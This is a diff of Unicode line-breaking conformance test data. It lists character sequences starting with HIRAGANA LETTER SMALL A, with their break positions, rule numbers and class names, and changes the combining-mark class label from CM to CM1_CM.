+× 3041 × 0308 × 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 3041 ÷ 231A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 3041 × 0020 ÷ 231A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 3041 × 0308 ÷ 231A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 3041 × 0308 ÷ 231A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 3041 ÷ 2024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 3041 × 0020 ÷ 2024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 3041 × 0308 ÷ 2024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 3041 × 0308 ÷ 2024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 3041 × 002C ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [13.02] COMMA (IS) ÷ [0.3]
× 3041 × 0020 × 002C ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 3041 × 0308 × 002C ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 3041 × 0308 × 0020 × 002C ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 3041 × 0308 × 002C ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 3041 × 0308 × 0020 × 002C ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 3041 ÷ 1100 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 3041 × 0020 ÷ 1100 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 3041 × 0308 ÷ 1100 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 3041 × 0308 ÷ 1100 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 3041 ÷ 11A8 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 3041 × 0020 ÷ 11A8 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 3041 × 0308 ÷ 11A8 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 3041 × 0308 ÷ 11A8 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 3041 ÷ 1160 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 3041 × 0020 ÷ 1160 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 3041 × 0308 ÷ 1160 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 3041 × 0308 ÷ 1160 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 3041 × 000A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 3041 × 0020 × 000A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 3041 × 0308 × 000A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 3041 × 0308 × 0020 × 000A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 3041 × 0308 × 000A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 3041 × 0308 × 0020 × 000A ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 3041 × 0085 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 3041 × 0020 × 0085 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 3041 × 0308 × 0085 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 3041 × 0308 × 0020 × 0085 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 3041 × 0308 × 0085 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 3041 × 0308 × 0020 × 0085 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 3041 × 17D6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 3041 × 0020 ÷ 17D6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 3041 × 0308 × 17D6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 3041 × 0308 × 17D6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 3041 ÷ 0030 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 3041 × 0020 ÷ 0030 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 3041 × 0308 ÷ 0030 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 3041 × 0308 ÷ 0030 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 3041 ÷ 0028 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 3041 × 0020 ÷ 0028 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 3041 × 0308 ÷ 0028 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 3041 × 0308 ÷ 0028 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 3041 ÷ 0025 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 3041 × 0020 ÷ 0025 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 3041 × 0308 ÷ 0025 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 3041 × 0308 ÷ 0025 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 3041 ÷ 0024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 3041 × 0020 ÷ 0024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 3041 × 0308 ÷ 0024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 3041 × 0308 ÷ 0024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 3041 × 0022 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 3041 × 0020 ÷ 0022 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 3041 × 0308 × 0022 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 3041 × 0308 × 0022 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 3041 × 0020 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [0.3]
× 3041 × 0020 × 0020 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 3041 × 0308 × 0020 × 0020 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 3041 × 0308 × 0020 × 0020 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 3041 × 002F ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 3041 × 0020 × 002F ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 3041 × 0308 × 002F ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 3041 × 0308 × 0020 × 002F ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 3041 × 0308 × 002F ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 3041 × 0308 × 0020 × 002F ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 3041 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 3041 × 0020 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 3041 × 0308 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 3041 × 0308 × 0020 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 3041 × 0308 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 3041 × 0308 × 0020 × 2060 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 3041 × 200B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 3041 × 0020 × 200B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 3041 × 0308 × 200B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 3041 × 0308 × 0020 × 200B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 3041 × 0308 × 200B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 3041 × 0308 × 0020 × 200B ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 3041 ÷ 1F1E6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 3041 × 0020 ÷ 1F1E6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 3041 × 0308 ÷ 1F1E6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 3041 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 3041 × 0308 ÷ 1F1E6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 3041 ÷ 261D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 3041 × 0020 ÷ 261D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 3041 × 0308 ÷ 261D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 3041 ÷ 1F3FB ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 3041 × 0020 ÷ 1F3FB ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 3041 × 0308 ÷ 1F3FB ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 3041 × 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 3041 × 0020 ÷ 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 3041 × 0308 × 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 3041 × 200D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 3041 × 0020 ÷ 200D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 3041 × 0308 × 200D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 3041 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 3041 ÷ 00A7 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 3041 × 0020 ÷ 00A7 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 3041 × 0308 ÷ 00A7 ÷ # × [0.3] HIRAGANA LETTER SMALL A (CJ_NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
